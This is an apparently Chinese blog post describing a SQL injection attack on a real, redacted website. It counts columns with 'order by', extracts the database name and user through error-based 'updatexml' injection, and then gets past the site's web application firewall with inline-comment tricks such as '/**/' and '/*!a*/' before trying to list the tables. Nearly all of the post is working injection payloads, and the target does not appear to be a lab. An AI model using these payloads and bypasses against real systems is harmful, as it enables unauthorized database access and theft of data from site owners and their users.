一次实战SQL注入过防火墙

注入点

https://www.xxxx.com/xxxxx?id=16
在其后面添加单引号,数据库报错
在这里插入图片描述添加and 1=1 --+,依然报错,猜测是数字型注入
在这里插入图片描述

猜测字段

?id=16 order by 1,2,3,4,5,6,7,8 --+
在这里插入图片描述

出现Unknown column ‘8’ in 'order clause

去掉8,?id=16 order by 1,2,3,4,5,6,7–+,页面正常
在这里插入图片描述

尝试用一下报错注入

?id=16 and updatexml(1,concat(0x7e,(select database())),0x7e) --+,有墙
在这里插入图片描述

#尝试一下/**/绕过

?id=16 and updatexml(1,concat(0x7e,(select database/**/())),0x7e) --+

在这里插入图片描述

查看用户

?id=16 and updatexml(1,concat(0x7e,(select user/**/())),0x7e) --+
在这里插入图片描述
使用/%!a/也能 绕过,在每个词前面都加/%!a/
id=16%20and%20updatexml(1,concat(0x7e,(/%!a/select%20user/%!a/())),0x7e)%20–+
在这里插入图片描述

查看数据库中的表

id=16 and updatexml(1,concat(0x7e,(select group_concat(table_name)%20 from information_schemata.tables where table_schema=0x666E6A696E657732)),1)–+
被狗拦截了
在这里插入图片描述
测试发现拦截from

在from前使用/**/绕过,发现不行
使用post,多加几个
绕过
在这里插入图片描述
在这里插入图片描述

发布了29 篇原创文章 · 获赞 6 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_43886632/article/details/104693756